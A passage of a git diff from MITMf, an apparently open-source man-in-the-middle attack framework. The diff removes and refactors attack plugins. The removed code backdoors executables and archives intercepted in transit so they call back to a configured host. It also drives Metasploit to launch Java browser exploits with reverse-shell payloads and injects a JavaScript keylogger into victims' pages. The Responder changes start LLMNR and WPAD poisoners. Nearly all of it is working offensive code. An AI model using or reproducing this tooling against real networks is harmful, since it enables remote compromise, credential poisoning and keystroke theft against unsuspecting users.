ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']), - PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower() - ) - - result = targetFile.run_this() - - elif (machineType == 0x14c and - self.WindowsType.lower() in ['all', 'x86']): - add_section = False - cave_jumping = False - #add_section wins for cave_jumping - #default is single for BDF - if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append': - add_section = True - elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': - cave_jumping = True - - # if automatic override - if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic': - cave_jumping = True - - targetFile = pebin.pebin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.WindowsIntelx86['SHELL'], - HOST=self.WindowsIntelx86['HOST'], - PORT=int(self.WindowsIntelx86['PORT']), - ADD_SECTION=add_section, - CAVE_JUMPING=cave_jumping, - IMAGE_TYPE=self.WindowsType, - PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']), - SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], - ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']), - PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower() - ) - - result = targetFile.run_this() - - elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF - - targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False) - targetFile.support_check() - - if targetFile.class_type == 0x1: - #x86CPU Type - targetFile = elfbin.elfbin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.LinuxIntelx86['SHELL'], - HOST=self.LinuxIntelx86['HOST'], - PORT=int(self.LinuxIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'], - IMAGE_TYPE=self.LinuxType - ) - result = targetFile.run_this() - elif targetFile.class_type == 0x2: - #x64 - targetFile = elfbin.elfbin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.LinuxIntelx64['SHELL'], - HOST=self.LinuxIntelx64['HOST'], - PORT=int(self.LinuxIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'], - IMAGE_TYPE=self.LinuxType - ) - result = targetFile.run_this() - - elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho - targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) - targetFile.support_check() - - #ONE CHIP SET MUST HAVE PRIORITY in FAT FILE - - if targetFile.FAT_FILE is True: - if self.FatPriority == 'x86': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif self.FatPriority == 'x64': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - self.patched.put(result) - return - - except Exception as e: - print 'Exception', str(e) - mitmf_logger.warning("EXCEPTION IN binaryGrinder {}".format(e)) - return None - - def tar_files(self, aTarFileBytes, formatt): - "When called will unpack and edit a Tar File and return a tar file" - - print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB' - - if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']): - print "[!] TarFile over allowed size" - mitmf_logger.info("TarFIle maxSize met {}".format(len(aTarFileBytes))) - self.patched.put(aTarFileBytes) - return - - with tempfile.NamedTemporaryFile() as tarFileStorage: - tarFileStorage.write(aTarFileBytes) - tarFileStorage.flush() - - if not tarfile.is_tarfile(tarFileStorage.name): - print '[!] Not a tar file' - self.patched.put(aTarFileBytes) - return - - compressionMode = ':' - if formatt == 'gz': - compressionMode = ':gz' - if formatt == 'bz': - compressionMode = ':bz2' - - tarFile = None - try: - tarFileStorage.seek(0) - tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode) - except tarfile.ReadError: - pass - - if tarFile is None: - print '[!] Not a tar file' - self.patched.put(aTarFileBytes) - return - - print '[*] Tar file contents and info:' - print '[*] Compression:', formatt - - members = tarFile.getmembers() - for info in members: - print "\t", info.name, info.mtime, info.size - - newTarFileStorage = tempfile.NamedTemporaryFile() - newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage) - - patchCount = 0 - wasPatched = False - - for info in members: - print "[*] >>> Next file in tarfile:", info.name - - if not info.isfile(): - print info.name, 'is not a file' - newTarFile.addfile(info, tarFile.extractfile(info)) - continue - - if info.size >= long(self.FileSizeMax): - print info.name, 'is too big' - newTarFile.addfile(info, tarFile.extractfile(info)) - continue - - # Check against keywords - keywordCheck = False - - if type(self.tarblacklist) is str: - if self.tarblacklist.lower() in info.name.lower(): - keywordCheck = True - - else: - for keyword in self.tarblacklist: - if keyword.lower() in info.name.lower(): - keywordCheck = True - continue - - if keywordCheck is True: - print "[!] Tar blacklist enforced!" - mitmf_logger.info('Tar blacklist enforced on {}'.format(info.name)) - continue - - # Try to patch - extractedFile = tarFile.extractfile(info) - - if patchCount >= int(self.userConfig['TAR']['patchCount']): - newTarFile.addfile(info, extractedFile) - else: - # create the file on disk temporarily for fileGrinder to run on it - with tempfile.NamedTemporaryFile() as tmp: - shutil.copyfileobj(extractedFile, tmp) - tmp.flush() - patchResult = self.binaryGrinder(tmp.name) - if patchResult: - patchCount += 1 - file2 = "backdoored/" + os.path.basename(tmp.name) - print "[*] Patching complete, adding to tar file." - info.size = os.stat(file2).st_size - with open(file2, 'rb') as f: - newTarFile.addfile(info, f) - mitmf_logger.info("{} in tar patched, adding to tarfile".format(info.name)) - os.remove(file2) - wasPatched = True - else: - print "[!] Patching failed" - with open(tmp.name, 'rb') as f: - newTarFile.addfile(info, f) - mitmf_logger.info("{} patching failed. Keeping original file in tar.".format(info.name)) - if patchCount == int(self.userConfig['TAR']['patchCount']): - mitmf_logger.info("Met Tar config patchCount limit.") - - # finalize the writing of the tar file first - newTarFile.close() - - # then read the new tar file into memory - newTarFileStorage.seek(0) - ret = newTarFileStorage.read() - newTarFileStorage.close() # it's automatically deleted - - if wasPatched is False: - # If nothing was changed return the original - print "[*] No files were patched forwarding original file" - self.patched.put(aTarFileBytes) - return - else: - self.patched.put(ret) - return - - def zip_files(self, aZipFile): - "When called will unpack and edit a Zip File and return a zip file" - - print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB' - - if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']): - print "[!] ZipFile over allowed size" - mitmf_logger.info("ZipFIle maxSize met {}".format(len(aZipFile))) - self.patched.put(aZipFile) - return - - tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8)) - tmpDir = '/tmp/' + tmpRan - tmpFile = '/tmp/' + tmpRan + '.zip' - - os.mkdir(tmpDir) - - with open(tmpFile, 'w') as f: - f.write(aZipFile) - - zippyfile = zipfile.ZipFile(tmpFile, 'r') - - #encryption test - try: - zippyfile.testzip() - - except RuntimeError as e: - if 'encrypted' in str(e): - mitmf_logger.info('Encrypted zipfile found. Not patching.') - return aZipFile - - print "[*] ZipFile contents and info:" - - for info in zippyfile.infolist(): - print "\t", info.filename, info.date_time, info.file_size - - zippyfile.extractall(tmpDir) - - patchCount = 0 - - wasPatched = False - - for info in zippyfile.infolist(): - print "[*] >>> Next file in zipfile:", info.filename - - if os.path.isdir(tmpDir + '/' + info.filename) is True: - print info.filename, 'is a directory' - continue - - #Check against keywords - keywordCheck = False - - if type(self.zipblacklist) is str: - if self.zipblacklist.lower() in info.filename.lower(): - keywordCheck = True - - else: - for keyword in self.zipblacklist: - if keyword.lower() in info.filename.lower(): - keywordCheck = True - continue - - if keywordCheck is True: - print "[!] Zip blacklist enforced!" - mitmf_logger.info('Zip blacklist enforced on {}'.format(info.filename)) - continue - - patchResult = self.binaryGrinder(tmpDir + '/' + info.filename) - - if patchResult: - patchCount += 1 - file2 = "backdoored/" + os.path.basename(info.filename) - print "[*] Patching complete, adding to zip file." - shutil.copyfile(file2, tmpDir + '/' + info.filename) - mitmf_logger.info("{} in zip patched, adding to zipfile".format(info.filename)) - os.remove(file2) - wasPatched = True - else: - print "[!] Patching failed" - mitmf_logger.info("{} patching failed. Keeping original file in zip.".format(info.filename)) - - print '-' * 10 - - if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting. - mitmf_logger.info("Met Zip config patchCount limit.") - break - - zippyfile.close() - - zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED) - - print "[*] Writing to zipfile:", tmpFile - - for base, dirs, files in os.walk(tmpDir): - for afile in files: - filename = os.path.join(base, afile) - print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '') - zipResult.write(filename, arcname=filename.replace(tmpDir + '/', '')) - - zipResult.close() - #clean up - shutil.rmtree(tmpDir) - - with open(tmpFile, 'rb') as f: - tempZipFile = f.read() - os.remove(tmpFile) - - if wasPatched is False: - print "[*] No files were patched forwarding original file" - self.patched.put(aZipFile) - return - else: - self.patched.put(tempZipFile) - return - - def handleResponse(self, request, data): - - content_header = request.client.headers['Content-Type'] - client_ip = request.client.getClientIP() - - if content_header in self.zipMimeTypes: - - if self.bytes_have_format(data, 'zip'): - mitmf_logger.info("{} Detected supported zip file type!".format(client_ip)) - - process = multiprocessing.Process(name='zip', target=self.zip, args=(data,)) - process.daemon = True - process.start() - process.join() - bd_zip = self.patched.get() - - if bd_zip: - mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) - return {'request': request, 'data': bd_zip} - - else: - for tartype in ['gz','bz','tar']: - if self.bytes_have_format(data, tartype): - mitmf_logger.info("{} Detected supported tar file type!".format(client_ip)) - - process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) - process.daemon = True - process.start() - process.join() - bd_tar = self.patched.get() - - if bd_tar: - mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) - return {'request': request, 'data': bd_tar} - - - elif content_header in self.binaryMimeTypes: - for bintype in ['pe','elf','fatfile','machox64','machox86']: - if self.bytes_have_format(data, bintype): - mitmf_logger.info("{} Detected supported binary type!".format(client_ip)) - fd, tmpFile = mkstemp() - with open(tmpFile, 'w') as f: - f.write(data) - - process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) - process.daemon = True - process.start() - process.join() - patchb = self.patched.get() - - if patchb: - bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() - os.remove('./backdoored/' + os.path.basename(tmpFile)) - mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) - return {'request': request, 'data': bd_binary} - - else: - mitmf_logger.debug("{} File is not of supported Content-Type: {}".format(client_ip, content_header)) - return {'request': request, 'data': data} \ No newline at end of file diff --git a/plugins/Inject.py b/plugins/Inject.py index 68cd277..a28375b 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -24,15 +24,10 @@ import re import sys import argparse -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr - from core.utils import SystemConfig from plugins.plugin import Plugin from plugins.CacheKill import CacheKill -mitmf_logger = logging.getLogger('mitmf') - class Inject(CacheKill, Plugin): name = "Inject" optname = "inject" diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py deleted file mode 100644 index 15a292d..0000000 --- a/plugins/JavaPwn.py +++ /dev/null @@ -1,235 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import string -import random -import threading -import sys -import logging - -from core.msfrpc import Msfrpc -from plugins.plugin import Plugin -from plugins.BrowserProfiler import BrowserProfiler -from time import sleep - -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr - -requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message -requests_log.setLevel(logging.WARNING) - -mitmf_logger = logging.getLogger('mitmf') - -class JavaPwn(BrowserProfiler, Plugin): - name = "JavaPwn" - optname = "javapwn" - desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" - tree_output = [] - depends = ["Browserprofiler"] - version = "0.3" - has_opts = False - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.msfip = options.ip_address - self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit - - try: - msfcfg = options.configfile['MITMf']['Metasploit'] - except Exception, e: - sys.exit("[-] Error parsing Metasploit options in config file : " + str(e)) - - try: - self.javacfg = options.configfile['JavaPwn'] - except Exception, e: - sys.exit("[-] Error parsing config for JavaPwn: " + str(e)) - - self.msfport = msfcfg['msfport'] - self.rpcip = msfcfg['rpcip'] - self.rpcpass = msfcfg['rpcpass'] - - #Initialize the BrowserProfiler plugin - BrowserProfiler.initialize(self, options) - self.black_ips = [] - - try: - msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary - msf.login('msf', self.rpcpass) - version = msf.call('core.version')['version'] - self.tree_output.append("Connected to Metasploit v%s" % version) - except Exception: - sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") - - t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) - t.setDaemon(True) - t.start() #start the main thread - - def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) - return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5)) - - def get_exploit(self, java_version): - exploits = [] - - client_vstring = java_version[:-len(java_version.split('.')[3])-1] - client_uversion = int(java_version.split('.')[3]) - - for ver in self.javacfg['Multi'].iteritems(): - if type(ver[1]) is list: - for list_vers in ver[1]: - - version_string = list_vers[:-len(list_vers.split('.')[3])-1] - update_version = int(list_vers.split('.')[3]) - - if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): - if client_uversion == update_version: - exploits.append(ver[0]) - elif (client_vstring == version_string): - if client_uversion <= update_version: - exploits.append(ver[0]) - else: - version_string = ver[1][:-len(ver[1].split('.')[3])-1] - update_version = int(ver[1].split('.')[3]) - - if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): - if client_uversion == update_version: - exploits.append(ver[0]) - elif client_vstring == version_string: - if client_uversion <= update_version: - exploits.append(ver[0]) - - return exploits - - - def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions - #inject iframe - mitmf_logger.info("%s >> now injecting iframe to trigger exploit" % client_ip) - self.html_payload = "" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects - - mitmf_logger.info('%s >> waiting for ze shellz, Please wait...' % client_ip) - - exit = False - i = 1 - while i <= 30: #wait max 60 seconds for a new shell - if exit: - break - shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions - if len(shell) > 0: - for k, v in shell.iteritems(): - if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted - mitmf_logger.info("%s >> Got shell!" % client_ip) - self.sploited_ips.append(client_ip) #target successfuly exploited :) - self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped - exit = True - break - sleep(2) - i += 1 - - if exit is False: #We didn't get a shell :( - mitmf_logger.info("%s >> session not established after 30 seconds" % client_ip) - - self.html_payload = self.get_payload() # restart the BrowserProfiler plugin - - def send_command(self, cmd, msf, vic_ip): - try: - mitmf_logger.info("%s >> sending commands to metasploit" % vic_ip) - - #Create a virtual console - console_id = msf.call('console.create')['id'] - - #write the cmd to the newly created console - msf.call('console.write', [console_id, cmd]) - - mitmf_logger.info("%s >> commands sent succesfully" % vic_ip) - except Exception, e: - mitmf_logger.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e)) - - def pwn(self, msf): - while True: - if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled - - brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format - - if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited - - vic_ip = brwprofile['ip'] - - mitmf_logger.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version'])) - mitmf_logger.info("%s >> Choosing exploit based on version string" % vic_ip) - - exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg - - if exploits: - - if len(exploits) > 1: - mitmf_logger.info("%s >> client is vulnerable to %s exploits!" % (vic_ip, len(exploits))) - exploit = random.choice(exploits) - mitmf_logger.info("%s >> choosing %s" %(vic_ip, exploit)) - else: - mitmf_logger.info("%s >> client is vulnerable to %s!" % (vic_ip, exploits[0])) - exploit = exploits[0] - - #here we check to see if we already set up the exploit to avoid creating new jobs for no reason - jobs = msf.call('job.list') #get running jobs - if len(jobs) > 0: - for k, v in jobs.iteritems(): - info = msf.call('job.info', [k]) - if exploit in info['name']: - mitmf_logger.info('%s >> %s already started' % (vic_ip, exploit)) - url = info['uripath'] #get the url assigned to the exploit - self.injectWait(msf, url, vic_ip) - - else: #here we setup the exploit - rand_port = random.randint(1000, 65535) #generate a random port for the payload listener - rand_url = self.rand_url() - #generate the command string to send to the virtual console - #new line character very important as it simulates a user pressing enter - cmd = "use exploit/%s\n" % exploit - cmd += "set SRVPORT %s\n" % self.msfport - cmd += "set URIPATH %s\n" % rand_url - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform - cmd += "set LHOST %s\n" % self.msfip - cmd += "set LPORT %s\n" % rand_port - cmd += "exploit -j\n" - - mitmf_logger.debug("command string:\n%s" % cmd) - - self.send_command(cmd, msf, vic_ip) - - self.injectWait(msf, rand_url, vic_ip) - else: - #this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert) - mitmf_logger.info("%s >> client is not vulnerable to any java exploit" % vic_ip) - mitmf_logger.info("%s >> falling back to the signed applet attack" % vic_ip) - - rand_url = self.rand_url() - rand_port = random.randint(1000, 65535) - - cmd = "use exploit/multi/browser/java_signed_applet\n" - cmd += "set SRVPORT %s\n" % self.msfport - cmd += "set URIPATH %s\n" % rand_url - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" - cmd += "set LHOST %s\n" % self.msfip - cmd += "set LPORT %s\n" % rand_port - cmd += "exploit -j\n" - - self.send_command(cmd, msf, vic_ip) - self.injectWait(msf, rand_url, vic_ip) - sleep(1) diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py deleted file mode 100644 index 8acfe96..0000000 --- a/plugins/JsKeylogger.py +++ /dev/null @@ -1,169 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from plugins.plugin import Plugin -from plugins.Inject import Inject -import logging - -mitmf_logger = logging.getLogger('mitmf') - -class jskeylogger(Inject, Plugin): - name = "Javascript Keylogger" - optname = "jskeylogger" - desc = "Injects a javascript keylogger into clients webpages" - implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] - depends = ["Inject"] - version = "0.2" - has_opts = False - - def initialize(self, options): - Inject.initialize(self, options) - self.html_payload = self.msf_keylogger() - - def sendPostData(self, request): - #Handle the plugin output - if 'keylog' in request.uri: - - raw_keys = request.postData.split("&&")[0] - keys = raw_keys.split(",") - del keys[0]; del(keys[len(keys)-1]) - - input_field = request.postData.split("&&")[1] - - nice = '' - for n in keys: - if n == '9': - nice += "" - elif n == '8': - nice = nice.replace(nice[-1:], "") - elif n == '13': - nice = '' - else: - try: - nice += n.decode('hex') - except: - mitmf_logger.warning("%s ERROR decoding char: %s" % (request.client.getClientIP(), n)) - - #try: - # input_field = input_field.decode('hex') - #except: - # mitmf_logger.warning("%s ERROR decoding input field name: %s" % (request.client.getClientIP(), input_field)) - - mitmf_logger.warning("%s [%s] Field: %s Keys: %s" % (request.client.getClientIP(), request.headers['host'], input_field, nice)) - - def msf_keylogger(self): - #Stolen from the Metasploit module http_javascript_keylogger - - payload = """""" - - return payload \ No newline at end of file diff --git a/plugins/Replace.py b/plugins/Replace.py deleted file mode 100644 index f623736..0000000 --- a/plugins/Replace.py +++ /dev/null @@ -1,105 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -""" -Plugin by @rubenthijssen -""" - -import sys -import logging -import time -import re -from plugins.plugin import Plugin -from plugins.CacheKill import CacheKill - -mitmf_logger = logging.getLogger('mitmf') - -class Replace(CacheKill, Plugin): - name = "Replace" - optname = "replace" - desc = "Replace arbitrary content in HTML content" - implements = ["handleResponse", "handleHeader", "connectionMade"] - depends = ["CacheKill"] - version = "0.1" - has_opts = True - - def initialize(self, options): - self.options = options - - self.search_str = options.search_str - self.replace_str = options.replace_str - self.regex_file = options.regex_file - - if (self.search_str is None or self.search_str == "") and self.regex_file is None: - sys.exit("[-] Please provide a search string or a regex file") - - self.regexes = [] - if self.regex_file is not None: - for line in self.regex_file: - self.regexes.append(line.strip().split("\t")) - - if self.options.keep_cache: - self.implements.remove("handleHeader") - self.implements.remove("connectionMade") - - self.ctable = {} - self.dtable = {} - self.mime = "text/html" - - def handleResponse(self, request, data): - ip, hn, mime = self._get_req_info(request) - - if self._should_replace(ip, hn, mime): - - if self.search_str is not None and self.search_str != "": - data = data.replace(self.search_str, self.replace_str) - mitmf_logger.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str)) - - # Did the user provide us with a regex file? - for regex in self.regexes: - try: - data = re.sub(regex[0], regex[1], data) - - mitmf_logger.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) - except Exception: - logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) - - self.ctable[ip] = time.time() - self.dtable[ip+hn] = True - - return {'request': request, 'data': data} - - return - - def add_options(self, options): - options.add_argument("--search-str", type=str, default=None, help="String you would like to replace --replace-str with. Default: '' (empty string)") - options.add_argument("--replace-str", type=str, default="", help="String you would like to replace.") - options.add_argument("--regex-file", type=file, help="Load file with regexes. File format: [tab][new-line]") - options.add_argument("--keep-cache", action="store_true", help="Don't kill the server/client caching.") - - def _should_replace(self, ip, hn, mime): - return mime.find(self.mime) != -1 - - def _get_req_info(self, request): - ip = request.client.getClientIP() - hn = request.client.getRequestHostname() - mime = request.client.headers['Content-Type'] - - return (ip, hn, mime) diff --git a/plugins/Responder.py b/plugins/Responder.py index 81c0186..676553f 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -23,9 +23,10 @@ import os import threading from plugins.plugin import Plugin -from libs.responder.Responder import ResponderMITMf -from core.sslstrip.DnsCache import DnsCache from twisted.internet import reactor +from core.responder.wpad.WPADPoisoner import WPADPoisoner +from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner +from core.utils import SystemConfig class Responder(Plugin): name = "Responder" @@ -37,37 +38,32 @@ class Responder(Plugin): def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' - self.options = options + self.options = options self.interface = options.interface + self.ourip = SystemConfig.getIP(options.interface) try: - config = options.configfile['Responder'] + config = self.config['Responder'] except Exception, e: sys.exit('[-] Error parsing config for Responder: ' + str(e)) - if options.Analyze: + LLMNRPoisoner().start(options, self.ourip) + + if options.wpad: + WPADPoisoner().start() + + if options.analyze: self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") - resp = ResponderMITMf() - resp.setCoreVars(options, config) - - result = resp.AnalyzeICMPRedirect() - if result: - for line in result: - self.tree_output.append(line) - - resp.printDebugInfo() - resp.start() - - def plugin_reactor(self, strippingFactory): + def pluginReactor(self, strippingFactory): reactor.listenTCP(3141, strippingFactory) def add_options(self, options): - options.add_argument('--analyze', dest="Analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") - options.add_argument('--basic', dest="Basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") - options.add_argument('--wredir', dest="Wredirect", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False") - options.add_argument('--nbtns', dest="NBTNSDomain", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False") - options.add_argument('--fingerprint', dest="Finger", default=False, action="store_true", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query") - options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False") - options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") - options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") + options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") + options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") + options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False") + options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False") + options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query") + options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False") + options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") + options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py deleted file mode 100644 index a1df8fe..0000000 --- a/plugins/SMBAuth.py +++ /dev/null @@ -1,49 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT 